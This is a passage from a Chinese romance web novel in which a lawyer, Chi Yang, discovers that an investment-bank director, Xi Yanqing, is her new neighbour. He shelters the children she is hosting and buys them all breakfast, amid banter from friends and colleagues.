叶青屿热情丝毫未受影响,继续说道:“并且还是什么投行总监,事业有成,前途无量。诶,他有没有女朋友?”
“我哪知道人家有没有女朋友!”
“不是,”叶青屿一副恨铁不成钢的语气,“我说你能不能对自己上点心!”
池漾心想又来了又来了。每次只要她身边出现一个优质男士,叶青屿势必会拿出打破砂锅问到底的气势。
她揉了揉眉心,嗓音淡淡:“他就是我们律所的一个客户,以后还不一定有机会再见面呢,你没事瞎想什么。”
说完,池漾心底忽然涌出一阵长长久久的失落。
是啊,以后不知道还有没有机会再见面了......
叶青屿没再追问。
车内恢复了沉默。
但是不对劲,往往就是在沉默中萌生的。
叶青屿忽然想起那次他从福利院送池漾回律所时,好像就是一个什么投行总监突然来访。
“诶,不对啊,”叶青屿问,“这个什么风盛投行,是不是就是当时我们去福利院,然后要你临时回去加班的那个?”
池漾点点头。
也就是在那天,她再一次遇到了席砚卿。她本来以为他们不会再遇到了,可他就像一场失而复得的梦一样,出现在了她眼前。
时至今日,他们还一起出了一次差,完成了一个并购案。
可是,她仍然没有解答出来,第一次见面的似曾相识感从何而来。
叶青屿自顾自琢磨着:“这事也太巧了吧,不会是人为安排的吧。”
关于这个假定,池漾不是没有想过,但随即否定了这个想法。
她摇摇头:“应该不是。那次我去律所加班,你也知道,纯粹是个巧合。这次并购案也是,是因为顾锦泽要录节目,我在这方面又比较有经验,所以才让我去的。”
叶青屿听完,忍不住感慨了一句:“那要这么说的话,你俩还真是缘分颇深。”
-
席砚卿本来打算和池漾一起回御府左岸的计划,被迫打破。于是,他临时改变决定,回了东城的家。
上了车,钟离声和孟仲季坐在后座。
席砚卿坐在副驾驶,微闭着眼睛,疲惫感与茫然感铺天盖地地涌来。
孟仲季半倚着车窗,目光定定地看着窗外的景色,似乎兴致也不高。
钟离声觉得这气氛实在是有点莫名其妙,他轻咳两声,状似无意地挑起了一个话题:“诶,孟......”
在脑海里相当尽力地想了一下,钟离声最终叫出了“孟季仲”这个名字。
孟仲季:“......”
“叫反了?”钟离声有些尴尬,自顾自地更改过来,“孟仲季,你这是怎么了,刚完成一个大案子,兴致这么低?”
孟仲季把脑袋从车窗上收回,规规矩矩地坐正,相当真诚地看了钟离声一眼,问道:“钟特助,你觉得池律师是一个怎样的人?”
钟离声听了,第一反应不是回答这个问题,而是把目光往前座瞟。果不其然,他注意到本来闭目养神的席砚卿动了动,睁开了眼睛。
“哦,你说池律师啊,”钟离声特意将声音提高了一些,“池律师那真是个绝人啊,全身上下,不管是外在还是内在,全部都可圈可点,完全挑不出一点毛病。”
席砚卿听了,自然地勾了勾唇角。
钟离声捕捉到席砚卿的小动作,带着相当强的目的性问孟仲季:“怎么突然问我这个问题?”
孟仲季:“没,我就是想看看在跟池律师不怎么熟的人眼里,她是什么样子的。”
钟离声继续引导:“然后呢?”
“然后?”孟仲季皱着眉头,“然后就是,池律师这样的女人,被男人喜欢是很正常的吧。”
“那当然啊。”
“但是池律师从来没有谈过恋爱啊。”
听了这句话,钟离声慵懒地靠上后座,意有所指地朝着前座开口:“那应该是没遇到喜欢的人吧,毕竟池律师那样的绝人,一般人还真配不上。”
“对啊,”孟仲季越说越带劲,“所以我们律所好多人都把池律师当成白月光,就是不敢追求但是默默仰望的那种。”
钟离声听到这儿,终于知道孟仲季这一番话为何对他说了,敢情是把他当知心大姐了。行吧,他不得不承认,他好像天生就有当知心大姐的气质。
钟离声觉得话题不能再这么继续下去,于是转了个话头:“不是吧,所以你失落是因为池律师要有男朋友了?兄弟,你不能这样啊,池律师那么好的人要是能得到幸福,你应该替她开心啊。”
“是应该替她开心。不过......”孟仲季压低音量,“其实我们一直以为池律师会和顾律师在一起。但刚才那个男的,看起来怎么吊儿郎当的,一点儿都不如顾律师成熟稳重。你说,池律师跟他在一起能幸福吗?”
钟离声这下真的不知道该怎么接了。要是说能,这不算成心气他家老板吗;但要是说不能,他感觉他老板脸色会更难看。
于是,钟离声只好打着圆场:“那个人应该不是她男朋友吧,以池律师的性格,有男朋友应该不会藏着掖着吧。所以,跟他公平竞争啊,怕什么!”
钟离声明明是在回答孟仲季的话,但话里的意思,明显是让前座听的。
闻言,席砚卿抬手揉了揉眉间。
-
半个多小时后,汽车停在了世熙公馆,席砚卿先行下了车。他一走进家门,就一把脱下了西装外套,还顺带着把领带往外扯了扯,少见的心烦气躁。
随后,他从冰箱里拿出一杯冰水,一饮而尽。
之后的一个多小时是怎么度过的,他已经记不太清楚了,只是在快九点的时候接到了贺轻舟的电话。
这次在御府左岸买的房子,就是他盯的设计和装修。
一般情况,想让贺轻舟的工作室接单,至少得提前大半年预约,想让贺轻舟亲自上阵,那几乎是难上加难。
这次,也是贺轻舟卖他面子。
在这么短的时间内完成,贺轻舟卖他的面子还真不小。
他按下接通键。结果,刚接通,还没等他说话,手机那端就传来贺轻舟
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略带不满的声音:“我说席总,不是说好在新房见的吗?您这是放我鸽子?”
席砚卿低笑一声,不疾不徐道:“咱俩约过?”
“是没约过,是我当方面想看看席总监的美貌行了吧,”贺轻舟语气调侃,“不过你不是说今天过来住的吗,我在新房这儿等你,顺便让你验个货。”
席砚卿其实没什么兴致。
毕竟本来的设想太美好,后来的现实又太残酷,这心理落差有点大。
他淡漠一笑:“贺大师亲自监工,我哪有不满意的道理,用不着验货。”
贺轻舟心想这人状态不对啊,跟前一段时间那个跟催命鬼一样的人简直是大相径庭。但他也没再执著:“那行吧,我等会儿把密码发你手机上,你下次过来改一下就行。”
席砚卿沉默了一会儿,还是起身拿上了车钥匙:“等我,我马上过去。”
他说不清是不想驳贺轻舟的好意,还是想单纯地想看看那个房子。
-
御府左岸。
把车停好后,席砚卿没立刻进去,而是抬头往上望了望,默默地数了下楼层。数到十一的时候,他的目光倏地顿住——
终于走到了你身边,可好像,我还是来晚了一步。
想到这儿,他颇为无奈地摇了摇头。
十来秒后,电梯停在十一楼。席砚卿走出电梯,先是往右边看了眼,然后才走向左侧的自己的家。
贺轻舟来开的门。
进了屋,席砚卿目光大致一扫,心里就已经有谱了。
跟他在东城的房子差不多,都是极简的装修风格,只不过这间的主色调是蓝色与白色,看起来更轻快明亮一些。
贺轻舟跟在他身后,问:“所有的风格都是按照你的要求来的,满意吗?”
席砚卿心不在焉地点点头。
看到他点头,贺轻舟一下子放下了心,兴致盎然地吐槽道:“这也就是你,换做别人你看我搭不搭理他。我本来这段时间正在帮一国外回来的服装设计师设计工作室,你临时插一脚,差点让我累劈叉。”
席砚卿看着话贼多的贺轻舟,觉得还挺不可思议。他余光瞥他一眼,戏谑道:“你知道你同事是怎么评价你的吗?”
贺轻舟被这突然转的话锋弄得猝不及防,略带茫然地问:“怎么?”
席砚卿长腿一迈,坐上客厅的沙发,好整以暇地看向贺轻舟,语调慵懒又随意:“当时有个人问,你们说贺大师这座千年冰山,什么时候才能被暖化啊,结果你猜另一个人怎么回答?”
贺轻舟不知道他葫芦里卖的什么药,“怎么回答?”
席砚卿想起那句让他印象深刻的话,忍不住笑了:“他说,你可别侮辱千年冰山了,千年冰山都没贺轻舟冷。”
贺轻舟:“......”
参观完室内,两个人站在阳台上吹风。这套房子是一梯两户的户型,因此从这边阳台往左看,就是池漾那间房子的阳台。
席砚卿忍不住朝那边多看了两眼。
左边的阳台被玻璃窗封着,还拉着一层厚厚的窗帘,难以窥见内部构造。
也是,出差这么久,拉上窗帘才是正常的。
也是,出差这么久,着急去见某个人也是正常的。
想到这儿,席砚卿双臂撑着栏杆,煞有介事地收回了目光。
贺轻舟站在他身侧,明显地感觉出他的不对劲:“你什么情况?你这状态不对啊,前几天跟催命鬼一样地催我,现在都完工了,你怎么这表情?你哪点不满意就直接说出来,我这个人,不在意别人怎么评价我这个人,但我非常在意别人怎么评价我的作品!”
“没。”席砚卿语气淡淡。
说完,他忽然转过身,背靠上栏杆,舒展了一下肩颈,任凭夏夜晚风掠过耳畔。这一瞬间,他感觉自己就像是漂泊在汪洋的一叶轻舟,在水势中忽左忽右,迫切地想要寻找一个落脚点。
却寻找不得。
片刻后,他从口袋里掏出一支烟,递给贺轻舟。
“戒了,”贺轻舟朝她摆摆手,“备孕呢。”
席砚卿敛眉一笑,心想这座千年冰山最终还是被小鱼儿暖化了。
紧跟着,他收回了本来准备点烟的手。
贺轻舟察觉出他兴致不高,知味地说:“你抽吧,没事儿,等会儿路上风一吹早就没味道了。”
席砚卿摇摇头:“我本来也不抽烟,只是偶尔。”
“那你今天是?”
“没事。”席砚卿不太想聊这个话题。
过了一会儿,贺轻舟的手机响了,桑晚榆打来的,问他什么时候回家。贺轻舟说话的语调莫名就柔和了几许:“马上就回去。”
等他挂了电话,席砚卿才有些酸溜溜地说:“你秀恩爱的时候,能考虑一下我的感受?”
贺轻舟不以为然地耸耸肩,语重心长道:“我说你可抓紧点吧,别我都当爹了,你还是个孤家寡人。”
席砚卿剜他一记眼刀。
“行了,”贺轻舟笑笑,拍了拍他的肩,“那我就先走了。”
出了门,贺轻舟站在走廊等电梯,余光一瞥,看到席砚卿正准备换鞋出来送他。知道他有洁癖,就这两步路就得换双鞋,连忙摆手道:“别出来了,齁费事的,这次太晚了,下次找个时间聚聚。”
席砚卿停下动作,改成倚在门边目送。
贺轻舟看着上行的层数,趁着等待的空隙,扭头对席砚卿说:“我也是真佩服你,这么多年就没一个入你眼的?说不近女色还真的一点都不近?这么清心寡欲,怎么?想当道德标兵?让别人夸你一句道德高尚?”
可能结了婚的人,总爱多管闲事吧。
席砚卿寡淡地笑了一声,声音随着电梯门开的幅度,悠远冷清地响起:“我不是道德高尚,我就是眼光高,一般的女人入不了我的眼。”
一句话的时间,恰恰好够电梯门打开。
贺轻舟低笑一声:“那是,席总要求多高啊,苏家的千金大小姐都入不了您的眼。”
听到这儿,席砚卿脸色一沉,明显不想再跟他多聊,关门准备送客。
结果,刚要转身,一个熟悉的身影,就溜进了他的余光。
——池漾拉着两个小女孩,正从电梯往外走。
16. 碰杯
刚才电梯门开的时候,池漾就捕捉到了一个耳熟的声音,但没敢往他身上想。因此,当她走出电梯门看到果然是自己认为的那个人后,一时间怔在原地。
“席总监?”
席砚卿在脑海里排练了好多次的偶遇戏码,此刻悉数作废,派不上用场。
好在他心里那点震惊是真实的。
——震惊在,没想到她能在这个时间点回来。
“你怎么在这儿?”
两道疑问声一同响起,一道是柔和清亮的女声,一道是低沉清冷的男声。
“这里是我家。”
又是一阵异口同声。
趁着这功夫,贺轻舟已经进了电梯,身为已经趟过爱情之河的已婚人士,看着这一幕,他了然于胸地笑了笑。
——这席砚卿根本不是不开窍,而是这窍,必须遇到对的那个人,才愿意开。
池漾听着这两句异口同声,心想果然如叶青屿所说,他俩还真是缘分颇深。
接受这个设定之后,她眉眼浮上一层笑意:“这么巧的吗?”
席砚卿早已想好了说辞,从容不迫地说道:“我有朋友在朝大工作,所以为了方便,临近买了这套房子。”
说完,他又明知故问:“池律师难道住对面?”
池漾点点头:“嗯。”
席砚卿看着眼前站着的五个小朋友,还有一个大人,疑惑道:“你们住在一起?”
池漾这才回过神,想起来还没有给他们介绍彼此。
她指了指旁边那个长相秀气的女生,介绍道:“这是齐媛,是从南栖过来的老师,现在正好放暑假,她带孩子们过来我这边玩,就在我家住几天。”
闻言,席砚卿和齐媛互相点了点头。
池漾接着给孩子们介绍:“这是席......”说到这儿,她略微顿了下,叫哥哥好像显得不够尊重,但叫叔叔好像又叫老了,快速权衡了一下之后,她说:“这是席砚卿哥哥,快给哥哥问好。”
紧跟着,几个奶声奶气的声音此起彼伏的响起:“席哥哥好!”
男生的女生的,害羞的大方的,拖音的干脆的,反正是啥风格的都有,五个小孩子愣是喊出了一首交响曲的阵仗来。
席砚卿虽然见过不少大世面,但这阵仗还真是第一次见,他微躬着身子,礼尚往来道:“你们好。”
池漾:“那我们先进去了。”
席砚卿:“嗯。”
说着,池漾走到家门前,输入密码把门打开,示意齐媛和孩子们先进去。
然后,像想起什么似的,她又突然转过身来。
本以为这时候席砚卿应该已经进了家门,她都做好了提高音量喊他名字的准备,结果当她回过头,才发现他仍站在原地,目光也未离开。
——好像不是第一次,每次她回头,他的目光一直都在,从来没有挪开过。
这种被人注视的温柔,让她心头一动。
池漾强势平复下心底的躁动,笑眼盈盈道:“席总监,你刚搬过来,如果有哪里不熟悉,或者需要帮助,尽管开口。”
席砚卿:“好。”
彼时楼道里灯光柔和,衬得他眉眼也是如出一辙的温柔。
-
看池漾进了家门,席砚卿拿出手机,拨通了一个人的电话。
挂了电话,他盘算了一下从这里到世庭南岸需要用的时间。
世庭南岸位于朝大南侧,相隔一条天桥的距离。如果开车过去,得绕一圈,如果步行过去,则需要穿越小半个朝大校园和一座天桥。
时间其实相差不多。
席砚卿抬眸看了眼窗外的夜色,那里繁星如织,月影如瀑。
估计是不想浪费这一派良辰美景吧,他进屋换了身休闲服,出了家门。
朝大已经放了暑假,所以校园里很安静。
道路两旁的白杨葳蕤繁茂,在星光与灯光的交相辉映下,更显得熠熠生辉。
偶尔有留校的学生奔跑着擦肩他身侧,呼啸而过一场轰轰烈烈的青春。
席砚卿在这氛围的感染下,身心也不由自主地放松了下来。
不知不觉间,就到了世庭南岸。
来开门的是白清让。
席砚卿一边换鞋一边问:“笙笙睡了没?”
白清让说刚睡。
白清让和席砚卿这对表兄弟,给人的感觉并不像。
白清让真的人如其名,温和清隽,俊逸儒雅,看起来好像不具备任何的攻击性,轻易就能够让人放下戒备。
但熟悉他的人都知道,这都是表象。当年他做诉讼律师的时候,在法庭上打起唇枪舌战来,字字都是落地有声,不容置喙。不过,可能是走下法庭,当大学教授有不短的时间了,原先对阵时的那些锋芒和棱角,好像越来越难寻觅,眉眼间都是为人师表的温文尔雅。
席砚卿则是那种会让人有些距离感的骨相。
从小在充斥着利益博弈与金钱较量的圈子里长大,他深谙这个圈子的游戏规则,刀起斧落间,瞬息变幻碾做血雨腥风,一一落进他眼眸。
他饱尝资本市场的狠辣与无情,见过沧海月明,也见过覆水难收。
所以他——
慎独、谨言、步步为营、凉薄自持。
若用一句诗来概括,他们一个是蓝田日暖玉生烟,另一个则是雪拥蓝关马不前。
-
两个人在露台上坐定,白清让拿来两杯清酒。
几乎没什么度数,少喝一点其实很助眠。
世庭南岸临近护城河,从露台往远看,能看到临河而建的旧时灯盏,河面映着几星粼粼。
此刻,夜色沉了,人声淡了,车声缓了,只有如水的沉寂,涨潮般涌来。
白清让和席砚卿孩童时期还经常见面。之后席砚卿远赴美国求学,隔着时差联系便少了些,等他回国的时候,白清让已经定居在别的城市,两个人鲜少见面。连白清让的婚礼,席砚卿都没赶上出席。也是前些年,白清让回到京溪,当了大学教授,见面时间才多了些。
两人拿起玻璃杯,对着月色轻碰了一下。
清酒刚入口,味道偏寡淡,稍稍沉淀一会儿,才能感知到后味的醇厚与丰富。
放下杯子的时候,白清让目光在上面停留了一会儿。这杯子还是他和妻子顾安笙去日本旅游的时候买的,不是常见的圆形,而是方方正正的款式。
一共四个面,正好印着代表四季的图案——樱花绿柳、浅溪淡草、枫落瓦檐、雪泊木桥。
白清让曲起手指,看杯子在手中转了个圈,将目光从杯壁转向席砚卿,“新加坡的事情处理得还顺利吗?”
席砚卿:“嗯。”
白清让淡淡一笑:“我这问题也是白问,从小到大就没有你搞不定的事儿。”
席砚卿微微侧头,看了白清让一眼,意味深长地说了句:“还真有。”
这倒是让白清让有些想不到。
“说来听听,要是法律上的我说不定能给你点建议。”
白清让说完,又随即推翻了这个假设。
席砚卿又不是不知道他离开法庭的原因,自然不会来戳他痛处。
席砚卿笑着调侃:“那我哪儿请得起白大律师啊?”
白清让爽朗一笑,饶有兴致地看了席砚卿一眼,不疾不徐道:“你这是有情况啊?不过,看你这样子,不太像是工作上的事儿。”
“确实不是。”席砚卿放下杯盏,任凭那一声清脆的碰撞声在夜色中蔓延。
“在我跟前儿你还扭捏个什么劲儿,”白清让读心功力了得,“说吧,看上哪个姑娘了?”
席砚卿:“......”
“怎么不说话,被我一眼看穿心思,觉得露怯?”白清让慢悠悠地晃着酒杯,连带着声音也染上几分醉意,“砚卿,被人一眼识破心思,是商场上的大忌。”
闻言,席砚卿沉沉笑了声:“这话后面一般都跟着一句但是——”
“但在情场上,不是,”白清让悠悠道,“面对感情,不要猜测,也不要试探。”
席砚卿自嘲般地笑了声:“没猜测。”
——人家是真的不喜欢我这样的。
-
一杯清酒就着月光,兜兜转转地酿成一盏好梦。
饮尽之时,恍然至子时。
“我倒挺好奇这姑娘什么样的?”白清让是真的挺好奇,心想到底是什么样的姑娘,能让一向清冷自持的席砚卿,如此患得患失,如此的拿不起,也放不下。
席砚卿涩然一笑,换了话题:“我去看一眼笙笙,就走了。”
月光透过窗纱,照在白念笙脸上,两者安安静静地共眠着。
小姑娘眉眼间都像极了白清让,眉清目秀,甜美可人。
走出卧室时,席砚卿忽然想起,白清让前一段时间跟他说过,因为太想念妈妈,白念笙常常半夜惊醒。
想到这儿,他悄声问道:“最近还闹吗?”
白清让摇摇头,脸上却浮现出罕见的纠结神色。
席砚卿不懂他这份纠结从何而来。
不闹不是好事吗?
“你知道我怎么哄好她的吗?”白清让把他送到门口,“我那天去朝大上课,偶然间遇到一个老师,以前没见过。然后,她一开口说话,我就震惊了。”
席砚卿安静听着,不知道这两件事能有什么因果联系。
直到白清让的下一句话响起:“她的声音,跟你嫂子几乎是一模一样。”
听到这儿,席砚卿本能地在脑海里搜寻顾安笙的声音是什么样的,结果搜寻无果。
现在想想,除了见过照片,他们在现实生活中根本没有见过。婚礼没赶上,之后又不在一个城市生活,以为能见
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面的机会,却回回错过。
因为总想着来日方长,以后还有机会,不必为一次见面劳心费神地安排时间。结果没想到,一场地震,一场救援,将所有来日轰然截停。
白清让的声音和他的回忆同时行进着:“她是我们学校的老师,我就找借口向她教的那门课请教问题,每次都会问一些比较复杂的问题。其实,我夹杂了私心,我跟她说用语音回复就可以,这样不占用她太多时间,我也能理解得更透彻。”
话说至此,席砚卿才明白。
——他在以声思人。
“你也知道,那大段大段的案例解释,笙笙哪儿听得懂啊,听着听着我再稍微一哄就睡着了。”白清让虽是笑着说的,但是席砚卿还是一眼看穿了他内心的不安。
席砚卿问:“那位老师不知道这件事是不是?”
白清让点点头:“其实我觉得自己的所作所为不太道德。”
“如果是我,能够给别人带来这样的慰藉,我会觉得这是我的荣幸,”席砚卿轻拍着他的肩,轻声安慰着,“其实你可以尝试跟那位老师说说这件事,我觉得她会理解。”
“嗯,”白清让声音放低,“等开学见面了吧。”
-
快要睡着的时候,池漾突然被一阵窸窸窣窣的声音吵醒。
她在睡裙外套上一件开衫,顺手带上腕表,动作迅捷地下了床。打开卧室门一看,于冬、沈一然、许光洁三个大男孩正站在走廊里。
池漾看着他们,不解地问:“怎么了?”
于冬走上前,皱起眉头,表情有些不知所措:“池漾姐姐,空调突然停了,怎么打都打不开。”
池漾听了,瞬间放下心来,她还以为是多大的事儿呢。
“是不是遥控器没电了,姐姐去给你们换个电池。”
说着,池漾转身去客厅电视墙的储物柜里拿出了两节电池。
齐媛听到动静,也从卧室里走了出来,池漾摆摆手让她去睡:“空调遥控器没电了,我换个电池就行,你快回去睡吧,别把孩子们吵醒。”
紧接着,悲催的事情就发生了。
换上电池之后,空调依然没有任何的反应。
池漾不认输,爬上桌子就要去开总开关。
结果,总开关也没有反应。
她这才后知后觉地意识到,这房间是给云锦书预留的,还没有住过人,空调也没有开过。
不过,这空调是新买的,怎么会有问题呢?
沈一然见状细声问道:“池漾姐姐,是不是我们把空调弄坏了啊?”
池漾莞尔一笑:“怎么会?是姐姐忘了提前检查一下了,应该是厂商的问题,跟你们没关系的。”
说完她表面上还保持着笑容,心里却已经笑不出来了。
这大半夜的,她找谁修去啊!
她那间房床太小,根本睡不下三个人。虽说现在是夏天,她也不忍心让孩子们睡在客厅的地板上。
城市不比山区,哪怕是晚上,热浪还是会铺天盖地地涌来,在这样的温度下睡觉,简直是折磨。
看着三个孩子额头上的汗她就知道了。
于是,她微微俯身,笑说:“这个空调应该是坏了,姐姐带你们去住宾馆好不好,那边很凉快,就是需要走一段路。”
于冬听了,再次率先开口:“住宾馆是不是要花钱?”
池漾笑着摇摇头:“不需要花钱的,那里的老板是姐姐的朋友,姐姐帮过他的忙,所以他很欢迎我过去玩。”
“真的吗?”
“当然是真的,走啦走啦,不睡好明天没有力量玩了。”
大致收拾了一下,池漾拿上手机就往外走。
见三个男孩还在玄关处换鞋,她先出门按下了电梯。
很快,电梯到了。
池漾一边按着开门键,一边催促着:“快点快点,电梯来了。”
几个噗噗哒哒的脚步声渐次传来。
“这么晚了?要去哪儿?”
一个声音于静谧夜色中蓦然响起。
池漾猝不及防,一转头,这才注意到电梯里还有个人。
他换了身休闲装扮,简简单单的黑白配,和那次在他房间一起吃早餐时候的搭配很像。电梯间的灯白净柔和,衬出他凝浓分明的轮廓。
池漾回过神来,如实说:“我家里有个房间空调换了,我带孩子们去住宾馆。”
席砚卿点点头,出了电梯。
池漾让三个孩子先进去,跟席砚卿道了声再见才跟着进来。
然后,她极快地按下一楼,看着电梯门缓缓合上。
可是,在两侧的门就快要触及到彼此的时候,电梯门又缓缓打开。
——是门外有人按下了开门键。
他的声音,如几个小时前那般,随着门开的幅度缓缓响起:“要不,来我家睡吧?”
17. 奔走
这夜晚很静,偶有几阵蝉鸣入侵。
电梯间的冷气与楼道里的闷热在无声无息中,融合、交汇。
池漾于诧异中抬眸,毫无预兆地撞进他的眼波。
席砚卿看着她,眸光渐深。
棕褐色卷发软趴趴地垂在她的双肩,额前几缕刘海微微浮动,似在轻嗅。将醒未醒的眸,还裹藏着睡意氤氲的水汽,似晚间的雾,将错就错地泛起,搅扰了静谧的夏夜露深。
眼下一点小痣,是那叶梧桐、小心扣动的狩猎人扳机。
唇间一盏盈润,是那朵红缨、精心遗落的藏宝图密钥。
她奔走在莽莽森林,匆匆为小孩寻庇佑之所,风尘漫漫间,清辉与薄雾都浑然天成。
却忽邂逅,一位旅人。
旅人也是第一次做挽留这样的事儿,不会说动听的情话,不会诉远行的担忧,只会笨拙地列举,他拥有的薄荷、潺水、灯盏、木屋。
“我这边刚装修好,一切都是新的,客房有张床很大,可以睡的下三个人,如果不介意沙发也可以睡。有空调、有地方,一切都很方便。”
池漾看着他,没说话。
这么贸然打扰,终归是不妥的。
“今天这么晚了,就别跑了,在我这儿将就一晚吧。”
他的手掌从刚才就一直按着开门键,此时忽然松开,做出邀请的姿势。
这次,池漾没再拒绝,点头说了声谢谢。
把三个孩子安顿好,池漾转身回家,又跟他道了声谢。
看着她这个模样,席砚卿带着笑意叫了她一声:“池漾。”
“嗯?”
“你刚才已经说过了。”
“哦,”她轻敛眼睫,轻声说,“那我先回去了,席总监你早点休息。对了,你什么时候有时间,我到时候请你吃饭,作为谢礼。”
席砚卿点点头,笑着说好。随后又一转语气,问她:“吃什么我说了算?”
池漾眉眼弯起:“当然你说的算。”
“不过......”
“嗯?”
“你为什么睡觉还要带着手表?”
她一身居家装扮,那个手表正式得有点突兀。
池漾听了,瞬间用右手握住了左手手腕,一脸平静地解释:“没什么,我就是、我就是,忘了摘。”
席砚卿没再多问,目送着她回家。
-
第二天,席砚卿是被一阵铃声吵醒的。
不过,很明显,那并不是他手机的声音。
他本想放任不管,奈何它一直响个不停,只好起身寻找来源。
玄关的暗格里,躺着一个手机,屏幕朝下,因此率先映入他眼帘的是那个手机壳——无边星幕上,悬挂着一轮太阳。
他瞬间认出来,这是池漾的手机。
应该是昨天不小心落在这里了。
他拿起一看,果不其然,屏幕上显示着闹钟界面。
被吵醒的烦躁瞬间不见了踪影。
他轻轻一笑,关了闹钟。
顷刻间,屏幕换了个样,出现了一张合影。
两个并肩而立的人,面朝雄伟壮观的尼亚加拉瀑布,瀑布上方,有一道弧形的双层彩虹。虽然只是背影,但席砚卿一眼就看出左边的那个女孩是池漾,至于右边的这个男孩......
是谁?
是昨天来接她的那个人吗?
像。
又不像。
探究就此戛然。
毕竟,看到这一幕,可以说是无心之失。
但是,再往下探究,就是逾距了。
把闹钟关掉以后,他又把手机放回了原来的位置。
知道池漾请了年假,因此席砚卿自作主张没有叫醒她。
等到池漾睡到自然醒的时候,看了一眼墙上的闹钟,发现竟然已经快十点了!
她第一反应就是:这是什么情况?手机为什么没响?闹钟功能歇菜了?
这样想着,她把手伸向床头柜,去抓手机。
结果,扑了个空。
手机呢?
池漾晃了晃脑袋,尽力让自己清醒,这才想起来可能是昨晚落在对门了。
她心里大呼着失策失策,迅速起了床,然后用最快的速度洗了漱、换好了衣服。
等她收拾好之后,到客厅一看,没人。
厨房,没人。
客房,也没人。
人呢?
-
对门的餐桌,从九点钟就开始热闹起来。
第一拨早饭,是席砚卿陪着三个男孩子吃的。
不过,席砚卿的心思明显不在早餐上。
还好,他不是司马昭,那点儿小心思小孩子们也看不太出来。
几句寒暄后,他直接步入主题:“池漾姐姐是你们什么人?”
于冬手上忙着剥鸡蛋,嘴也不闲着,永远都是人群里最活跃的那个小孩。他抿抿唇,说:“是我们的老师,也是我们学校的......”
诶?那个词怎么说来着?
这时,一向沉默的许光洁接上了他的话头:“投资人。”
于冬点点头:“哦,对,投资人。”
席砚卿有些没想到,反问一句:“投资人?”
沈一清看他诧异的样子,一副小大人的口吻:“投资人的意思就是出资建这个学校的人,席哥哥,你不会连这个不懂吧?”
席砚卿哑然失笑。
他堂堂一个顶级投行总监的专业能力,今天竟然被一个小伙子质疑了?
“懂一点,”他忍不住笑,“那池漾姐姐跟你们一样,也是南栖人吗?”
于冬:“嗯,不过池漾姐姐的家在市区,不是在山区。她后来出国读书,回来后就留在这里工作了,但是她有时间就会回来看我们。”
席砚卿若有所思地点了点头。
沈一清一副小大人模样,再次语出惊人:“席哥哥,你是不是也喜欢池漾姐姐?”
席砚卿一挑眉,心想现在的小孩子都这么早熟的吗?
不过三年级的小学生,这么快就能透过现象看本质了?
还有,这个“也”字是什么意思?
“什么叫也?”席砚卿很会抓重点。
“因为我们都很喜欢池漾姐姐啊。”于冬抢着说。
原来是这个意思的喜欢。
听到这儿,席砚卿莫名地长吁了一口气:“嗯。”
轻轻浅浅的一个字,隔着段对话回答了最初那个问题。
席砚卿:“那你们池漾姐姐喜欢什么?”
他本就是随口一问,结果没想到,三个小男孩面对这个问题,答得相当认真,甚至差点吵起来。
“喜欢可爱的娃娃。”
“喜欢讲故事。”
“喜欢看星星。”
一阵停顿后,热闹又响起。
“你说的不对,池漾姐姐最喜欢娃娃,每天晚上都要抱着才能睡着。”
“你说的才不对,她给我们讲完故事才能睡着。”
“你们说的都不对,她明明数着星星才能睡着。”
席砚卿眼带笑意,耐心听着他们的对话。
再寻常不过的餐桌笑谈,仅用只言片语,就为他倾泻了涤尽
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浊气的烟火人间,也为他铺陈了绵延十里的晨光灿烈。
第二拨早餐,可以称得上早午餐了。
池漾最后终于在另一个卫生间找到正在洗漱的齐媛和两个小女孩,“我先去叫他们仨,我们等会儿一起去吃早餐。”
说完,她快步走向对面,是于冬小家伙来开的门。
她走进一看,席砚卿正坐在临近阳台的书桌上看电脑,其余两个小孩子正乖乖地坐在沙发上看动漫。
画面莫名的......和谐。
席砚卿看到池漾,便合上电脑走了过来,看到她的时候眼神晃了晃。
她这身装扮,让他想起他们在蓝仲的第一次见面。
这姑娘工作和生活真是截然不同的两种打扮。
工作中走的是妥妥的简约、大气、精英风。
到了生活中——
上次是百褶裙,这次换成了背带裤。
清纯得要命。
“醒了?”席砚卿压抑下心中翻涌的情绪,淡定地拿过桌上的手机递给池漾,“你手机昨晚落我这儿了。”
池漾接过,不好意思道:“不好意思,我睡过头了,打扰你工作了吧,我们现在就走。冬冬......”
话还没说完,席砚卿忽然打断她:“给你们买了早饭,吃完早饭再走。”
池漾闻声看向右侧的餐桌,上面摆着四份餐具。
席砚卿解释:“他们三个已经吃过了,还有四份,给你们留的。”
池漾:???
当她叫上齐媛,再次出现在席砚卿家的时候,池漾总觉得哪里不对劲。
就是好像有些东西本不该成立、现在却成立了的那种感觉。
这时,她身旁的小姑娘文娟忽然问了一句:“池漾姐姐,我们可以吃吗?”
池漾这才反应过来哪里不对劲。
对啊!
这几个孩子虽然年龄小,但是家教都很好,再加上池漾对他们性格的了解,他们绝对不会平白无故接受别人的东西。
那么,那三个人为什么能够如此坦然地在席砚卿家里吃了饭,又开始看电视?
这到底是为什么?
“可以吃。”池漾笑着跟文娟说。下一秒,她走到沙发旁坐下,用余光瞥了一眼席砚卿,他正一脸专注地看着电脑屏幕,应该是在工作。
池漾看着三个大男孩,小声问道:“你们为什么在这里吃了早餐啊?”
“嗯?”于冬目光间满是疑惑,“是席哥哥说,是你拜托他准备的早餐,我们才吃的。他还说,你昨天很累,让我们乖乖吃饭,不要去吵你。”
池漾一惊,抬眸看向阳台的方向。
席砚卿或许是感应到了,对上她的目光,不急不躁地解释:“昨天你说的,吃什么我说的算。”
池漾:???
对啊,昨天她是说了,可是不是说好的她请客吗?
现在这是怎么个情况,又欠个人情?
“可是不是说好我请客的吗?”
席砚卿走到她身侧,笑意从眼角斜出:“你觉得,我差这一顿饭钱?”
池漾:???
是啊,你不差啊,可道理不是这么个道理啊!
池漾最终还是妥协:“那我下次再请你好了。”
反正这人情我一定得还给你。
席砚卿低沉一笑,俯身凑她更近,循序渐进地把她带往自己想要的那个答案:“工作上那么妙语连珠,到我这儿就只有请吃饭这一条路了?”
池漾满脑子的问号,茫然道:“啊?”
席砚卿:“你再想想,拿点别的还。”
18. 好色
她是真的长得很有灵气,长睫卷翘,眼尾一挑,眸光似飞燕般盈盈欲动。
此刻窗外晨光满溢,映在她眉梢微扬的脸上,莫名衬出了几分娇憨。
——这模样,好像是真的在认真思考他刚才提出的那个问题。
席砚卿望着这一幕,哑然失笑。“快去吃饭,我去接个电话。”说完,他拿着手机进了卧室。
